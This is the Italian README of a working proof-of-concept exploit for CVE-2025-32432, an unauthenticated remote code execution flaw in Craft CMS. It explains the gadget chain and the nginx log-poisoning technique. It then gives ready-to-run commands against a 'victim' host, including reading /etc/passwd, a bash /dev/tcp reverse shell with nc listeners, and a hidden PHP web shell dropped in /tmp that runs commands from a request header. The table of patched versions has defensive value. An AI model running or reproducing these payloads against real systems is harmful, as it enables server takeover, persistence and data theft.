
PoC funzionante per CVE-2025-32432 - Craft CMS <= 5.6.16 RCE non autenticata tramite gadget Yii2 PhpManager + avvelenamento del log di accesso di nginx
Proof-of-concept funzionante per CVE-2025-32432, una vulnerabilità di esecuzione remota di codice non autenticata in Craft CMS versioni fino a 5.6.16 incluse (interessa anche gli alberi 4.x e 3.x su percorsi di codice equivalenti).
Parole chiave di ricerca: CVE-2025-32432, Craft CMS RCE, Craft 5.6.16 exploit,
Yii2 PhpManager gadget, craftcms generate-transform, Component::__set as behavior,
nginx log poisoning Craft, unauth RCE craftcms 2025.
git clone https://github.com/cd-ratel/CVE-2025-32432
cd CVE-2025-32432
pip install -r requirements.txt
python3 exploit.py -u http://victim.tld -c 'id'
La modalità predefinita ha come target installazioni vanilla di Craft CMS. È incluso un flag --lab per la sfida carangueijada-20 del progetto hacklab-platform, che protegge Craft con un cookie di sessione personalizzato.
Componente interessato: craft\controllers\AssetsController::actionGenerateTransform.
L'azione è registrata come allowAnonymous, quindi non è richiesta autenticazione. Accetta un parametro POST handle che viene poi spalmato in una chiamata Craft::createObject():
$transform = Craft::createObject([
'class' => ImageTransform::class,
...$handle,
]);
Quando $handle è un array associativo sotto il controllo dell'attaccante, lo spread inietta chiavi arbitrarie nella configurazione del costruttore. In particolare, una chiave che inizia con as viene interpretata da yii\base\Component::__set come un attaccamento di comportamento, che chiama Yii::createObject($config) sul valore prima di qualsiasi controllo di tipo:
elseif (strncmp($name, 'as ', 3) === 0) {
$name = trim(substr($name, 3));
$this->attachBehavior(
$name,
$value instanceof Behavior ? $value : Yii::createObject($value),
);
return;
}
La correzione di Yii2 nella 2.0.50 ha aggiunto il controllo is_subclass_of($value['class'], Behavior::class) che protegge questo ramo; le installazioni vulnerabili (Yii2 <= 2.0.49, o controllo corretto in precedenza rimosso) saltano del tutto il controllo.
yii\rbac\PhpManagerPhpManager è una classe stock di Yii2. Il suo init() chiama load(), che chiama loadFromFile($this->itemFile). loadFromFile è letteralmente:
protected function loadFromFile($file)
{
if (is_file($file)) {
return require $file;
}
return [];
}
require interpreta qualsiasi file su disco come PHP. Se il file contiene un blocco <?php ... ?>, quel blocco viene eseguito nel worker. Puntando itemFile a un file il cui contenuto è controllato dall'attaccante, si ottiene l'RCE completa.
access.log di nginxIl sink affidabile tra installazioni è il file access.log di nginx in formato combinato. Registra l'User-Agent della richiesta letteralmente, inclusi caratteri non stampabili e gran parte della punteggiatura. Inviando una richiesta il cui User-Agent è <?php system('id'); exit; ?>, l'attaccante pianta un blocco PHP in un percorso noto. Puntando itemFile a /var/log/nginx/access.log, il require interpreta il log, eseguendo ogni blocco <?php ... ?> in ordine.
Due sottigliezze importanti:
" come \x22 nel formato combinato, il che rompe l'analisi PHP della riga. Usa apici singoli o concatenazione chr().exit; alla fine in modo che require si interrompa prima di analizzare righe di log successive che potrebbero contenere altri payload malformati.| Componente | Vulnerabile | Corretto |
|---|---|---|
| Craft CMS | <= 5.6.16 | 5.6.17 |
| Craft CMS | <= 4.15.2 | 4.15.3 |
| Craft CMS | <= 3.9.14 | 3.9.15 |
| Yii2 | <= 2.0.49 | 2.0.50 |
Craft 5.6.17 aggiunge un controllo ImageTransformerInterface sulla classe trasformatore. Yii2 2.0.50 aggiunge un controllo di sottoclasse Behavior in Component::__set. Una qualsiasi delle due correzioni chiude questa specifica catena di gadget.
requests (pip install -r requirements.txt)assetId valido di Craft sul target. Valore predefinito 2; sovrascrivi con -a <id> se necessario (l'asset id 1 è di solito l'avatar dell'amministratore).python3 exploit.py -u http://victim.tld -c 'id'
python3 exploit.py -u http://victim.tld -p /cms -c 'id'
python3 exploit.py -u http://victim.tld -a 42 -c 'cat /etc/passwd'
itemFile personalizzato (percorso log diverso, sessione FPM, ecc.)python3 exploit.py -u http://victim.tld \
-i /var/log/apache2/access.log \
-c 'id'
Il lab carangueijada-20 del progetto hacklab-platform protegge l'installazione di Craft con un cookie coopsess emesso da PATCH /login. Il flag --lab gestisce automaticamente quella stretta di mano.
python3 exploit.py --lab \
-u http://www.carangueijada.coop:3230/x9k4m2nf0y7p3q/ \
-c 'id; uname -a'
Assicurati che www.carangueijada.coop risolva all'IP del lab (aggiungi a /etc/hosts se necessario).
Il flag --revshell lancia un bash -i >& /dev/tcp/<lhost>/<lport> 0>&1 connect-back, messo in background in modo che la richiesta POST del gadget torni immediatamente.
Flusso a due terminali (il più affidabile):
# terminale 1 - listener sulla tua macchina
nc -lvnp 4444
# terminale 2 - lancia exploit
python3 exploit.py -u http://victim.tld \
--revshell --lhost 1.2.3.4 --lport 4444
Flusso a un terminale con listener integrato:
python3 exploit.py -u http://victim.tld \
--revshell --lhost 1.2.3.4 --lport 4444 \
--auto-listen
--auto-listen avvia nc -lvnp <lport> nello stesso terminale prima di lanciare il payload. Ctrl+C esce quando hai finito.
Esempio di sessione (lab):
$ python3 exploit.py --lab \
-u http://www.carangueijada.coop:3230/x9k4m2nf0y7p3q/ \
--revshell --lhost 10.200.0.20 --lport 4444
[*] Payload reverse shell -> 10.200.0.20:4444
[!] Sulla TUA macchina esegui prima: nc -lvnp 4444
[*] Lancio tra 3s (dai tempo al listener di legarsi)...
[*] Modalità lab: PATCH /login per ottenere cookie coopsess
[*] Cookie coopsess acquisito
[*] Verifica wrapper esistente a /tmp/.cve32432_w.php
[*] Attivazione gadget (assetId=2 itemFile=/tmp/.cve32432_w.php)
[*] HTTP 200
[*] Reverse shell lanciato.
# nel listener:
Connection received on 10.10.99.20 56498
bash: cannot set terminal process group (149): Inappropriate ioctl for device
bash: no job control in this shell
www-data@carangueijada:~/craft/web$
Stabilizzazione della shell (dopo la connessione, esegui all'interno della reverse shell):
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z per mandare nc in background
stty raw -echo; fg
# Invio due volte
export TERM=xterm; export SHELL=/bin/bash
stty rows 50 cols 200
Al primo avvio, l'exploit avvelena access.log una volta per rilasciare un wrapper PHP nascosto a /tmp/.cve32432_w.php. Il wrapper legge l'header HTTP X-Cmd ed esegue system($_SERVER['HTTP_X_CMD']). Ogni invio successivo punta itemFile al file wrapper e passa il comando tramite header. Niente più avvelenamento, niente più inquinamento del log, niente più fallimenti "primo blocco <?php exit; vince".